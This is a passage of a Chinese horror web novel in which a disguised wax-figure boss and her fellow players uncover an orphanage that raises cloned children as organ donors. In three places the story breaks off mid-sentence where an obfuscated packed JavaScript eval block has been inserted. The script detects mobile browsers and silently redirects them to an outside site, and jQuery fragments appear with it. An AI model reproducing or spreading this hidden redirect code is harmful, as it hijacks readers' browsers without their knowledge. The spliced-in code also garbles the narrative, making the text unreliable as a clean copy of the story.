“这就是我要给你看的东西。”仇辛眼底闪过一丝意味不明的光。 他昨天便发现了这处地下空间,虽然他的探索浅尝辄止,但下面不仅狭窄阴暗,还藏着一个致命陷阱,是个天生的杀人场所。 虞绛望着漆黑的地洞,好奇又懵懂地发问:“下面黑漆漆的一看就有鬼,咱们就这么下去会不会太草率了?” 她得将柔弱的小白脸人设贯彻到底。 仇辛早知她不会轻易往陷阱里跳,倒也不急,安慰般地拍了拍她肩膀,语气大方:“放心,我昨天探过路了,除了有点黑,其他都挺安全。要是害怕,你就跟在我后面,我下去开路。” 说罢,他叼起手电筒,单手撑地,利落地跃入洞口,仿佛真是个可靠的队友。 虞绛也紧跟着跳下洞口,借着手电筒的光,隐约看见这里的墙壁也是焦黑一片。空气中弥漫着刺鼻的烧焦味,地面散落着一堆被烧得面目全非的残骸。 她蹲在最大的一块扭曲铁板旁,指尖拂过烧灼后的粗糙边缘,依稀能辨认出这是一张散架的金属床,尺寸窄小,几乎与手术台无异。 仇辛也蹲下,从废墟中挑出几样东西,有烧得变形的拐杖、轮子以及一副轮椅框架。奇怪的是,这些金属并未被烧成焦黑,表面反而泛着一层诡异的蓝色薄膜。 “尺寸太小了,像是给十岁以下的孩子用的。”仇辛皱眉,语气笃定,“我怀疑这里以前是个手术室,专门给小孩做手术。” 虞绛指尖轻触轮椅框架,眉心微蹙:“被火烧后呈现出蓝色的薄膜……这些不是普通铁制品,应该是钛合金,能用得起这种材料的人家肯定非富即贵。” 仇辛意外地看了她一眼:“连金属材质都能分辨出来?大学生果然不一样啊。” 话音未落,虞绛却微微一怔。 是啊,她怎么会知道这些? 她不过是个常年生活在蜡像馆里的副本BOSS,根本不该对金属材料有任何认知。但刚才,她竟然毫无迟疑地得出了判断,就像这些知识本就属于她。 “你看这边!”仇辛的惊呼打断了她的思绪。 他用手电筒指向墙角,一道淡淡的红色十字印记浮现在烧焦的墙面上,与他们在一楼阶梯处见到的印记如出一辙。 只是,一楼阶梯上的标记暗示着地下空间的存在,这里的标记是否也说明附近还有可探索的空间? 她正要靠近细看,仇辛却悄然退后几步,脸上的刀疤在冷白色的手电光下显得格外狰狞。他的左手摸索到墙上微微凸起的一块砖,唇角勾起一抹残忍的笑容,猛地一按。 “轰——” 虞绛面前的墙壁猛然旋转九十度,露出一个幽深漆黑的甬道。不,漆黑并不准确,因为在甬道完全显现的刹那,几个红色的光点骤然亮起。 下一秒,那些光点微微收缩,浮现出狭长竖立的瞳孔。原来不是光点,而是潜伏在黑暗中的某种生物,正瞪大了血色的眼睛,死死锁定着她。 仇辛猛地翻滚后撤,避开那几双泛着血光的视线,嘴角浮现得逞的笑意。甬道深处猛然探出数条漆黑触手,以迅雷不及掩耳之势将虞绛紧紧缠住,瞬间拽入黑暗之中。 他得手了。 昨天他也误触了机关,但第一天的红眼怪物反应略显迟缓,也不会攻击脱离视线的目标,因此他才侥幸逃脱。 而今天,这些怪物的速度和力量比昨日暴涨三倍,如果换成他自己跟今天的红眼怪物打个照面,恐怕来不及反应就被生吞活剥了。 甬道内传来野兽般低沉的嘶吼,仿佛有什么东西正在撕咬吞噬。仇辛脸上浮现兴奋之色,他的特殊天赋终于要生效了。 是的,他之所以一直将矛头对准身边的玩家,并不只是为了系统赠送的线索。 而是因为他的特殊天赋——每局游戏可感知其他玩家位置,每当他巧妙利用副本陷阱间接杀死一名玩家,便能获得10点BOSS好感值,可用于个人技能加点。 但如果是他亲自击杀玩家,系统不会给予任何奖励。 因此,他不能只靠蛮力,而是要巧妙借势,让副本成为他的刀。如此一来,他就能比其他玩家更快地强化自身,最终碾压所有人! 仇辛沉浸在得手的欣喜中,系统的奖励通常会延迟一天发放,因此他没有在原地多做确认。趁着时间充裕,他决定立即赶往顾弥彦与刘茵茵的所在地,争取再狩猎一人。 然而,就在他转身走向来时的洞口时,后颈猛地一凉—— 一道冰冷、诡异的气息,贴着他的皮肤吹过。 “急什么?”耳后突然响起虞绛的声音,声线僵硬又怪异,“不等我吃完再走吗?” 仇辛脊背炸开一片冷汗,猛地回头! 然后,他看到了最不该看到的一幕。 “陆骁”惨白的脸赫然出现在咫尺之遥,嘴里正咀嚼着一颗淋漓鲜血的眼球,森然一笑。 而更令人毛骨悚然的是,这张脸离他如此之近,但脖颈却诡异地拉长。像一条无限伸展的蛇,身躯仍潜伏在甬道深处,就像在进食的间隙,特意伸长脖子招呼他一声。 仇辛的心脏骤然一停。 “你…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547531|171210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你到底是什么东西?!”他的声音发颤,脸色瞬间煞白,“不……你根本不是玩家!你不是人!” 透过上方破洞透进的微光,他终于看清了。这张脸不是“陆骁”,而是一块正在融化的蜡。五官随着大口咀嚼,逐渐扭曲流淌,像被高温炙烤的蜡像一样…… “啊啊啊——!!” 仇辛终于崩溃,惊恐地尖叫出声。 可声音戛然而止,“陆骁”的蜡质脸孔突然裂开,一口吞下了他! 半晌,一阵细微的咂嘴声响起。 虞绛舔了舔嘴角,缓缓缩回脖子,喉间翻滚着未曾彻底消化的腥热气息。胃里灼烧般翻腾了好一会儿,她最终还是将仇辛吐了出来。 她抬手抹去脸上的蜡质残渣,五官缓缓恢复自己的原样。 真是奇妙。 虞绛咂了咂嘴,昨晚吞噬的大怪物只是个无味的分身,而今天,她第一次吞噬了副本NPC的实体。 那股翻涌的炙热感犹未平息,但她却能清晰地感觉到,自己继承了红眼鬼的一部分能力。 黑暗中如昼的视物能力,飞速潜行的身法,还有锋利到能撕裂血肉的獠牙…… 至今为止,这个副本已经出现了三个鬼怪,分别是捉迷藏的大怪物、在剖心现场出现的院长以及刚被她吞噬的红眼鬼。 她正面干翻过大怪物的影子,吞噬了红眼鬼的能力,只剩下院长没有正面接触过,不知道尝起来是什么滋味? 胡思乱想着,虞绛拽起一身蜡液、昏迷不醒的仇辛,拖着他的衣袖一步步朝甬道深处走去。 她倒要看看,这条藏着红眼鬼的通道,究竟通往何处。 *** 另一边,刘茵茵跟着顾弥彦来到了主楼别墅的地下室。正如虞绛查探过的那样,地下室的其他房间都上了锁,只有堆满镜子的房间能被打开。 顾弥彦选择这里的原因很简单,他需要让刘茵茵远离侧楼,不去干涉仇辛对“陆骁”的猎杀。 所以,他将她带到地下室兜圈子,无论是原地思考开锁的方法,还是进入唯一可查探的镜子屋溜达,他都乐见其成。 然而,刘茵茵一进入光线昏暗的地下室,呼吸便开始急促,步伐也有些虚浮,整个人无法控制地哆嗦起来。 她在害怕。 顾弥彦微微眯起眼睛,心头浮现出一个有些蠢蠢欲动的念头:“这个女孩儿,真的如仇辛所说,是个深藏不露的狠角色吗?” “要不要……试试看?” 心念一动,杀意顿生。 终于,当他们进入装满镜子的储藏室后,刘茵茵轻手轻脚地穿梭在那些被黑布遮盖的镜子间。而顾弥彦则悄然抽出袖中的匕首,缓缓靠近。 她来到房间中央,站在体积最庞大的镜子前,好奇地伸手攥住遮盖镜面的厚重黑布。 顾弥彦则躲在一面全身镜后,屏息凝神地静静等待。在黑布被揭开的瞬间,他咬了咬牙,高举匕首猛然冲出,朝着刘茵茵的背影狠狠刺下! 然而,刘茵茵早有防备。她表面上若无其事地站到大镜子前,实则正是看中了黑布的掩护作用。见顾弥彦扑杀而至,她猛地一拽黑布,反手兜头盖住他,将他整个困住。 紧接着,她迅速绕到镜子背后,朝门口逃去。 剧烈挣扎中的顾弥彦没有注意到,惊慌逃窜的刘茵茵也未曾察觉,那面被揭去黑布的巨大镜面上,忽然浮现出一个戴着歪斜礼帽的臃肿人影。 正是神出鬼没的院长! 11. 看不见的孤儿院(十) 顾弥彦费力地揭开厚重的黑布,映入眼帘的便是一面人高的镜子。镜中,那男人正死死地盯着他。 正如合影上的装束,院长戴着歪斜的黑色宽檐礼帽,脸部浮肿,嘴角微微上扬,似笑非笑,透着诡异的不祥感。 然而,镜中的院长并非单纯的倒影。 颈后,一股冰冷的气息拂过皮肤,令人战栗的凉意渗入骨髓。 顾弥彦额角渗出冷汗,他拼命克制,但身体却不受控制地回头,鼻尖撞上一片冰冷柔软的肌肤,猛然对上那双嵌在浮肿面孔上的浑浊眼睛。 他,真的从镜子里出来了! 刘茵茵在镜子屋中绕行,并未察觉到这突如其来的异变。然而,当她冲向房门时,门口不知何时站着一个黑影。 成年男人的身形,身着考究的西装西裤与礼帽,面孔隐匿在阴影中,只露出一双森然的血红瞳孔,死死盯着她。 那一瞬间,她的心脏狂跳,毛骨悚然。 这分明是昨晚在大厅一闪而过的红瞳残影! 一股彻骨的寒意自脊背攀爬而上,刘茵茵心知不妙。前有恶鬼,后有追兵,她恐怕要交代在这里了! 然而,就在她屏息等待那红眼鬼扑杀过来时,他却迟疑了。 他缓缓地、恋恋不舍地盯着她看了几眼,最终不甘地朝房间中央疾闪而去,仿佛接到了某种召唤。 他的目标是顾弥彦! 刘茵茵不知道红眼鬼为何突然放过自己,但她没有犹豫,拼尽全力夺门而逃! 身后,利刃撕裂皮肉的声音骤然响起,伴随低沉的喘息声。她心里一沉,脑海中闪过昨夜那个被生剖心脏的小女孩的惨状,顾弥彦怕是凶多吉少! 门外是黑洞洞的地下室走廊,寂静中透着阴冷,她不敢回头,心惊胆战地狂奔。然而,就在即将踏上楼梯的瞬间,刘茵茵脚下一崴,整个人重重摔倒在地。 她咬紧牙关,恐怖片的套路诚不我欺啊!炮灰总会在逃亡的关键时刻突然掉链子,而电影里的鬼怪下一秒就会出现在她的头顶! 背后的动静逐渐消停,红眼鬼似乎已经完成了收尾,可以继续狩猎下一个目标。刘茵茵的心跳剧烈得像要炸裂,她颤抖着扶住楼梯扶手,正要站起身,头顶忽然传来轻微的滚动声。 一只熟悉的小蜡人顺着楼梯滚了下来! 她瞪大眼睛,认出了它正是昨夜从三楼跑来通风报信的那只。小蜡人怀里抱着几把金属钥匙,兴奋地递到她手中。 “……这是?” 小蜡人指了指钥匙,又指了指身后的走廊。 刘茵茵恍然大悟:“地下室的四把钥匙?” 小蜡人用力地点了点头。 “虞老板的意思是……让我打开地下室的所有房间?” 小蜡人猛地点头,眼睛闪烁着期待的光芒。 尽管害怕红眼鬼随时追来,刘茵茵还是决定相信虞绛,咬牙开始尝试开锁。精神高度紧绷的她颤抖着对比钥匙,一间又一间地尝试。 终于,当她来到右侧走廊尽头的最后一扇门,钥匙刚插入锁孔,余光却瞥见左侧尽头处,黑暗中浮现出一道鬼影 红眼鬼悄然立在门口,手中捧着一颗还在跳动的新鲜心脏,而他的身旁,赫然站着昨夜刘茵茵在二楼见到的胖院长! “叮——” 系统音在耳边骤然响起。 【检测到玩家顾弥彦死亡,系统将发放一条通关线索:副本Boss的虚影将在第三天凝成实体,那是玩家最有机会击杀Boss的时刻。】 【请各位玩家把握时机,祝大家顺利通关。】 红眼鬼舔了舔嘴唇,猩红的眼眸一瞬不瞬地盯着刘茵茵,仿佛下一秒就会瞬移到她面前,将她撕碎。 惊惧间,一只莹润白皙的手臂从门缝中伸出,拽住了刘茵茵的衣领,将她猛然拉入室内! “砰!” 门重重关上,将黑暗的杀意隔绝在外。 刘茵茵跌坐在地,心有余悸地抹去额头的冷汗,抬头看向拯救她的人。 是虞绛! “虞老板!吓死我了!镜子屋有只红色眼睛的鬼,不仅活生生掏出了顾弥彦的心脏,还差点盯上了我!”她惊魂未定地诉苦,“还有那个胖院长,他跟红眼鬼也是一伙的!” “哦?”虞绛忽然撩开额前的碎发,俯身靠近刘茵茵,“是这样的红色眼睛吗?” 话音刚落,她的瞳孔骤然变红,如流淌的血色,与刚才的红眼鬼一模一样! “啊啊啊啊——!” 刘茵茵被吓得猛地往后一缩,脚下踩到了一团柔软的障碍物。她低头一看,竟是仇辛的身体! “救命啊!!杀人啦!!” 她悲壮地意识到,自己今天恐怕真要交代在这儿了。没想到还是撞上了那种能够变换人脸的厉鬼! 可恶,竟敢变成虞老板的模样来骗取她的信任。 “嘿嘿,我明明就很有吓人天赋的嘛!”虞绛见刘茵茵被自己吓得不轻,顿时得意洋洋地嘚瑟起来,“别叫了,这人只是昏迷了,没死。” 见到这副贱兮兮的样子,刘茵茵这才反应过来自己被虞绛作弄了。可她能怎么办,她还得抱大腿通关呢! “说正经的,我想……孤儿院的秘密就在这个房间里。”虞绛收敛了笑容,目光落在房间里。 “房间里?”刘茵茵疑惑地环顾四周,“可这里什么都没有啊。” 这个房间跟镜子屋差不多大小,但已经被搬空了。屋内唯一特别的地方,是墙上那扇一人宽的甬道口——正是虞绛的来处。 虞绛在房间中央蹲下,用手电筒照向地面上的一块区域:“你看,这里的灰尘比旁边的地板浅多了,明显曾经放置过什么东西,而且不久前才被人搬走。” 刘茵茵定睛一看,确实如此。但她很快发现,那块区域并不是规则的长方形,而是下半部分的两头向外突出了一截。她皱眉思索:“这个形状……能是什么东西?” “手术台。”虞绛肯定地回答,随即抬头指向天花板,“还有这个房间的通风口,比存放镜子的房间大得多,也符合手术室的设计标准。” 她又扫视了一圈,用手电筒照向墙角的地面:“这里的地板上残留着消毒剂腐蚀的痕迹。” 她站起身,笃定地下了结论:“所以,这个房间和甬道另一头的侧楼地下室一样,都是手术室。” 刘茵茵愣了愣,虞绛的推理出乎意料地合理,合理得有点不像她:“老板,你怎么连手术室的布局都这么了解?” 虞绛也愣住了,和刚才对钛合金的辨识一样,虽然平时不会想起手术室的设计布局,但在需要的时候便很自然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547532|171210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地浮现在脑海里。 而且,她莫名地对这个地方感到一丝熟悉,所有的推理都如此顺理成章。 可她无法再深想下去,脑子又开始发烫,烧得慌。 刘茵茵见她宕机,索性不再追问,而是把注意力放回副本的谜题上:“这个度假山庄里有人需要做手术吗?而且为什么要设置两个手术室,一个在主楼,一个在侧楼,还用密道相连?” 虞绛回过神,目光扫过这空荡荡的房间,若有所思地喃喃道:“恐怕,这里不是度假山庄的手术室,而是孤儿院的手术室……” “这个山庄,是在废弃的孤儿院基础上修缮改造的。” 说着,她从口袋里掏出怀表,盯着停滞的指针,果断地将分针拨向12:00。 然而,这一次怀表却毫无反应。 虞绛皱起眉,不信邪地继续拨。直到指向12:20时,指针才像是重新活过来一般,“哒”地跳动了一下,随即正常运转起来。 而与此同时,房间如同日历倒翻般,迅速褪去现代化的改造痕迹,重现出一间老旧的手术室。 他们,再次回到了孤儿院的时代。可这一次,时间已经晚了20分钟。 如果每晚回到孤儿院的时间段固定在午夜00:00-1:00,今晚留给她们的探索时间,恐怕只剩下40分钟了。 若是今晚无法彻底解开谜题,虞绛有预感,最后一晚留给她们的时间只会更少! 必须抓紧时间了! 虞绛打着手电筒仔细探查起来,昏黄的光束映照出斑驳的不锈钢手术台和推车,靠墙摆放着一排老旧的医疗器械柜,器械柜的玻璃门上积着灰尘,隐约能看见里面整齐排列的手术工具,泛着幽冷的光泽。 她的目光最终落在了中央的操作台上,除了常见的医疗器具外,上面还放置着两箱液体——一箱标着“冷却液”,另一箱则标着“HTK保存液”。她轻轻碰了碰箱体,外壳依然冰冷,显然内部仍处于低温存储状态。 刘茵茵挠了挠头:“什么手术需要同时用到冷却液和保存液的?” 虞绛也没有思路,但她很快想到了其他房间:“地下室房间的钥匙都到手了吗?” 刘茵茵点点头,但又有些迟疑:“我都把门锁打开了……可是,放镜子的屋子里,有胖院长和红眼鬼。” 虞绛的手已经搭在门把上,闻言却没停下动作。自家员工还要怀疑她这个boss的实力,看样子下次得让她亲眼见识一下,自己是怎么一口一个鬼的了。 打开门,外面又是那条黑漆漆的走廊,楼梯上传来沉重的脚步声和开门声,她猜想是大怪物卷土重来,开启了新一轮的捉迷藏游戏。 对角处的镜子屋房门紧闭,刘茵茵提到的两个鬼怪也不见踪影。虞绛毫不犹豫地闪身溜进了隔壁房间,手电筒的光照亮了整个空间。 这是一个凌乱的科学实验室。 显微镜、记录着数据的工作台、一堆看不懂的大型仪器,以及……仍在运转的细胞培养箱。 手术室、实验室……这个孤儿院的画风越来越跑偏了。 虞绛走近工作台,扫了一眼放在显微镜旁的实验日志,随手翻开几页,心底骤然生出一股彻骨的凉意。 她终于知道,隔壁手术室里,需要用到冷却液和保存液的手术是什么了! 12. 看不见的孤儿院(十一) 一切,都解释通了。 怀孕的“老师”们、两栋楼地下连通的手术室、被挖去心脏的小孩子…… 虞绛垂眸,视线落实验日志随手翻开的某一页。 【实验编号:0031。 委托人:金xx先生(已抹去) 实验母体:小红(化名,委托人之女) 实验目的:心脏移植 实验进程:第一代克隆体在胚胎期停止发育,第二代克隆体……第四代克隆体存在器官衰竭倾向,拟提前终止第四代克隆体,终止年龄7岁整;第五代克隆体细胞培育中,目前状况良好。】 原来,这座孤儿院表面上庇护着无家可归的孩童,实则不过是一场人体克隆实验的遮羞布。 那些孩子,并非真正的孤儿,而是被人为制造出的克隆体! 他们的存在,仅仅是为了给富人的子女提供健康的备用器官。 胚胎在这间实验室中被精心培育,待发育成熟后,便被移植到“老师”们的子宫内孕育。新生的克隆体被当作普通孤儿抚养,成长在这座孤儿院中。 而当他们的器官发育完全、符合移植标准时,便会被带入隔壁的手术室,取出所需器官,立即冷冻保存,再通过密道运送至侧楼地下的手术室,最终移植到真正的“主人”身上。 虞绛脑海中浮现出仁心孤儿院的那张合影——站在中央的是院长,而身旁那些衣着考究的男女,恐怕正是这场可怕交易的幕后推手,那些出资委托实验、拿活人当“器官银行”的富人们。 这手段,连她这个“伪人”都忍不住骂一句,真不是人干的! “老板!”刘茵茵忽然倒吸一口凉气,打破了虞绛的思绪。她捂着嘴,满脸惊恐地指着正常运转中的细胞培养箱,上面贴着对应的名牌和照片。 她声音微颤:“我认识这个女孩……她就是昨晚被活生生剖出心脏的孩子!” 虞绛走近一看,照片上的女孩,赫然就是昨夜2号房1号床的圆脸小女孩! 昨晚死去的,竟然是她! 是那个一受惊脸蛋就涨得像红苹果的小姑娘,那个抱着她的大腿问能不能保护他们的小姑娘,也是在床底偷偷写下身体的疼痛,但对第二天的生日充满期待的小姑娘…… 而她的死亡原因,正如实验日志所述,因器官衰竭已无法再作为“备用器官”,第四代克隆体被提前终止。他们甚至不等一天,便马不停蹄地开始了第五代实验体的培育。 虞绛的目光缓缓下移,在第五代实验体的培养箱下方,原有的名字被划掉,只能依稀辨认出死去的小女孩名叫——“小青”。 红橙黄绿青蓝紫,“青”在“红”的后四位。 虞绛微微怔住,她想起白天山庄别墅里那个容易脸红的女佣妹妹,有着和照片上小姑娘一样的红苹果脸蛋。 如果不是巧合的话…… 突然,门外传来一阵急促又慌张的脚步声,混杂着小孩儿交谈的声音,打乱了虞绛的思绪。 “这件房门没锁,咱们赶紧躲进去!” 虞绛将门轻轻拉开一条缝,远远看见小桑柒牵着一个矮个子男孩儿的手,匆忙逃进白天的镜子屋。 与此同时,楼上再次传来大怪物低沉的吼声和越来越近的脚步声,伴随着重物砸地的巨响。 虞绛将实验日志揣回兜里,招呼刘茵茵一起出去。 然而刚一动身,她的脚踝突然被一只手握住。 “等等……别丢下我。” 仇辛不知何时醒了过来,全身无力地趴在地上,艰难地扯住了虞绛的脚踝。 他只觉得浑身的骨肉像是被重新揉搓了一遍,完全提不起力气。在危机四伏的午夜孤儿院,无论遇上哪种鬼怪,都只能任人宰割。 虞绛对这个坑害玩家的小人没什么好说的,轻松甩开了他的手,便拉着刘茵茵向门外走去。 仇辛也慌了,不死心地抛出自己的底牌:“我还有线索可以交换!只要你们愿意把我安置到安全的地方,我可以把探查到的所有信息都告诉你们!” 虞绛冷漠地回头:“不需要哈。” 从昨晚到现在,仇辛的行动都在她眼皮子底下,她压根不相信有什么线索是自己不知道的。 情急之下,仇辛脱口而出:“昨晚我去了院长办公室,看到了他的工作日志!” 虞绛微微顿住,当时通过小蜡人的确看到仇辛脸色变得奇怪,可是小蜡人的视角无法看清日志内容。 她权衡了片刻,点头答应:“如果你的线索真有价值,我可以确保你待在一个安全的地方。” 见虞绛松口,仇辛也不敢再讨价还价,连忙老实交代: “那是本访客日志,每一页只简单记录了访客名字和访问日期,访问时间一般只有一天。但其中一页很奇怪,访客是“桑先生一家”,而且访问时间长达一周!” “都姓桑,我怀疑这个桑先生就是山庄主人桑柒的父亲!她小时候,恐怕是从孤儿院被‘领养’的!” “领养的话,为什么要待整整一周?”刘茵茵并不赞同。 仇辛语塞,憋了半天,还是硬着头皮开口:“桑柒可是这个副本的主角,肯定有特殊之处,领养花费的时间比别人久一点也正常。” 这话虽然乍一听没什么逻辑,但却意外地提醒了虞绛。 孤儿院的孩子那么多,为什么偏偏是桑柒被领养? 整个午夜孤儿院成了桑柒的梦魇,但除开深夜抓小孩的大怪物,胖院长和红眼鬼又为什么让她如此畏惧? 虞绛心有所感,取出怀中的实验日志,翻回首页仔细查看。然而,才刚翻开第一页,她的手便猛地顿住—— 【实验编号:001 委托人:桑XX(已抹去) 实验母体:小栖(化名,委托人之女) 实验目的:心脏移植 实验进程:第一代克隆体在胚胎期停止发育,已终止……第三代克隆体存在器官衰竭倾向,已终止……第五代克隆体心脏发育不正常,已终止……第七代实验体发育良好,不存在明显缺陷。 实验结果:001号实验基本成功,第七代实验体满6岁后可成为合格供体。】 果然,根本不存在什么普通的“领养”。以“领养”之名长达一周的访问,真正的目的是为了等待克隆体成熟,完成心脏移植。 可接下来的问题是—— 如今的桑柒,是接受了健康心脏的母体“小栖”吗? 如果是这样,被取出心脏的克隆体,又会落得什么样的下场? 虞绛想起,顾弥彦曾提及过,满是孩童尸骨的后花园…… “球球!” 忽然,门外传来一声惊呼,是小桑柒的声音。稚嫩的童音透着惊惶,几声沉重的撞击声砸在地板上,震得空气发颤。 “糟糕,不会是那个大怪物发现孩子们了吧!”刘茵茵脸色骤变。 虞绛没有迟疑,猛地拉开门,冲了出去。 “喂!你答应我要好好安置我的!”仇辛焦急地往前爬了几步。 然而,虞绛不知从哪儿摸出一把钥匙,冷冷地看着他:“放心,我会把这间房锁起来,这样你不就安全了?” 话音落下,她“啪”地关上门,将钥匙抛给刘茵茵上锁,把仇辛愤怒不甘的嚎叫彻底隔绝在门后。 走廊一片漆黑。 但吞噬了红眼鬼的虞绛,在黑夜中已然能视物。空气中弥漫着浓重的血腥气息,而那扇白天仍紧闭的镜子屋大门,如今已被敞开。 她屏息潜行入内,发现这间房间与白天截然不同。 正中央,一面巨大的镜子矗立在空荡荡的房间里,镜面镶嵌着一道漂亮的银边。 然而,镜子前的地板上,却倒伏着一个小小的身影。 是一个小男孩。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547533|171210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他的胸口血肉模糊,如同被扯线的破布娃娃般无力垂着头,鲜血浸染了镜面与地板。 虞绛胸口发闷,缓缓走近,蹲下身子。镜子里映出男孩渗血的尸体,和她自己苍白而肃杀的脸。 小男孩睁着圆睁的双眼,眼底残留着死前的剧痛与惊恐。他的身体仍旧温热,但胸腔已被活生生剖开,心脏不翼而飞。 角落里,一道细微的哭腔从墙角的全身镜后传来。 小桑柒泪眼朦胧地探了个头,在确认了来着是虞绛后,便踉踉跄跄地跑了出来。然而跑得着急,她一个趔趄重重摔倒在地,顿时坐在地上大哭起来。 “大怪物……大怪物吃掉了球球的心脏!” 她泣不成声,浑身颤抖:“它平时很少来负一楼的,可今天不知道为什么……而且,我已经提醒过球球了,绝对不能发出声音,可是……可是他太害怕了……躲在镜子后面时,不小心打了个喷嚏……然后就被发现了……” 随后赶来的刘茵茵脸色骤然发白,尽管已是第二次撞上被剖心的尸体,但依旧忍不住战栗。 她赶忙上前扶起跌坐在地的小桑柒,轻轻拍抚着她的后背,将她揽入怀中安慰。 虞绛的目光仍落在小男孩身上,沉思片刻,忽然问刘茵茵:“你昨天看到的伤口,和这个一样吗?” 刘茵茵将小桑柒的眼睛捂住,上前确认,咬牙道:“没错,手法完全一致。” 话音刚落,小桑柒忽然剧烈咳嗽起来,紧紧捂住心口,脸色瞬间发白。 “怎么回事?!”刘茵茵神色一变,焦急地看向虞绛,手忙脚乱地轻拍着小女孩的背,“这家孤儿院也太不像话了,连急救药品都没有!” 虞绛眯起眼,掏出白天从成年桑柒那里偷藏的两片药:“让她服下,我白天找来的,是速效救心丸。” 刘茵茵赶忙喂给小桑柒,然而药丸有些大,孩子吞咽时卡住喉咙,反而剧烈咳嗽起来。等到好不容易吞下药丸,她的气息却愈发微弱,脸色青白,几乎失去焦距。 “不行,药没用!” 刘茵茵见状,立刻让小桑柒平躺,准备随时施救。 虞绛站在原地,心头却隐隐生出一股异样的感觉,太奇怪了…… 门外,传来大怪物沉重的低吼声。它似乎正在撕碎什么东西,巨大的撞击声震得地板都微微颤抖,像是要把整栋楼砸毁一般。 “你留下来照顾她。”她向刘茵茵交代完毕,旋即拧开门把手。 门外的声响顿时清晰无比,大怪物就在一楼。 虞绛低头确认了一眼手机,屏幕上的时间赫然跳动至00:45。 她收起手机,压低脚步悄然摸上楼梯。然而,刚探出一楼地面,一股强烈的违和感扑面而来。 孤儿院的一楼原本被布置成一座简陋的小教堂,面朝前方的木质舞台上方悬挂着一座红色十字架,十几把椅子整齐排列,宛如静候着某场肃穆的祷告。 然而,此刻的大厅却诡异地发生了改变。 昨夜被怪物暴力破坏的痕迹仍在,坍塌的舞台、散落的椅子……可那些残骸间,却突兀地多出了一张不该属于这里的餐桌。 小教堂的观众席被莫名替换成了山庄的就餐区,一张雕刻着繁复花纹的实木长桌赫然立于正中央,对着那座已被砸塌大半的简易舞台,宛如一场怪诞又失序的拼接。 虞绛环顾四周,这样的拼接无处不在。 比如,层层叠叠的水晶吊灯突兀地垂落在原本空荡荡的天花板上,散发着与孤儿院格格不入的钻光…… 楼梯的一半依旧是踩上去嘎吱作响的简陋木板,而另一半却诡异地变成了山庄别墅的光滑大理石地砖…… 表里世界交错,现实与梦魇重叠。 虞绛缓缓吐出一口气,眸色深沉。 两个世界正在融合。 更准确地说,是孤儿院的梦魇,正在一步步侵蚀现实。 13. 看不见的孤儿院(十二) 虞绛想起了系统在顾弥彦死亡后赠送的那条通关线索: 【副本Boss的虚影将在第三天夜晚凝成实体,那是玩家最有机会击杀Boss的时刻。】 副本提示和眼前的情境如出一辙。 那么,第三天晚上,恐怕不仅仅是Boss实体化,连同所有恶鬼和孤儿院,都会一起降临在现实之中…… 等等,虞绛突然意识到一个问题。 这个副本的Boss究竟是谁?大怪物,红眼鬼,还是胖院长? 同为副本Boss,虞绛天然知道同一个副本里可以存在多个鬼怪,但副本Boss始终只有一个。 至于Boss与普通鬼怪的区别,甚至Boss的更替流程…… 她依稀记得,自己似乎收到过《副本Boss行为守则》之类的系统短信,里面对此有详细的说明。只不过,这种东西早就被她丢进了垃圾信箱积灰…… 毕竟,作为蜡像馆唯一的主人,她根本不需要关心这些嘛。 “砰——!!” 楼上传来一记震耳欲聋的巨响,夹杂着大怪物的狂怒嘶吼,仿佛情绪失控地踹门砸物。它的愤怒短暂平息了几秒,随即沉重的脚步声再度响起,“噔、噔、噔”地踏上更高的楼层。 虞绛眯起眼睛,蓦地做出决断——既然无法确认Boss是谁,那就把所有鬼怪一网打尽! 她毫不犹豫地追了上去。 三楼,死一般的寂静。 怪物的动静在虞绛踏上走廊的刹那戛然而止,就像从未出现过一般。 她屏住呼吸,尽可能放轻脚步,融入沉闷的空气之中。明明亲眼看着那团黑影爬上楼梯,可现在却消失得无影无踪…… 难道,它藏了起来? 虞绛试探着推开几扇房门,然而与昨晚一样,所有肚子高高鼓起的“老师”们依旧沉睡不醒,任凭楼下喧嚣震天,仍毫无反应。当然,房间里也没有怪物的踪影。 她的目光落在了走廊尽头的院长办公室。 门缝里没有泄出一丝光亮,她侧耳听了一会,房间内静得连呼吸声都听不见。 虞绛推门而入,打开灯,下一秒,瞳孔微缩—— 果然,这间房也“混搭”了。 肃穆的办公桌旁,突兀地出现了桑柒房间里的壁炉、躺椅和羊毛毯,与院长办公室原本的日历、笔记本、保险箱交错在一起,显得格格不入。 等等……保险箱?! 昨夜,她曾通过小蜡人的视角,看到顾弥彦输入孤儿院开业合影的日期,却显示密码错误。如果孤儿院的开业时间不是密码,那还有什么数字比这更有意义? 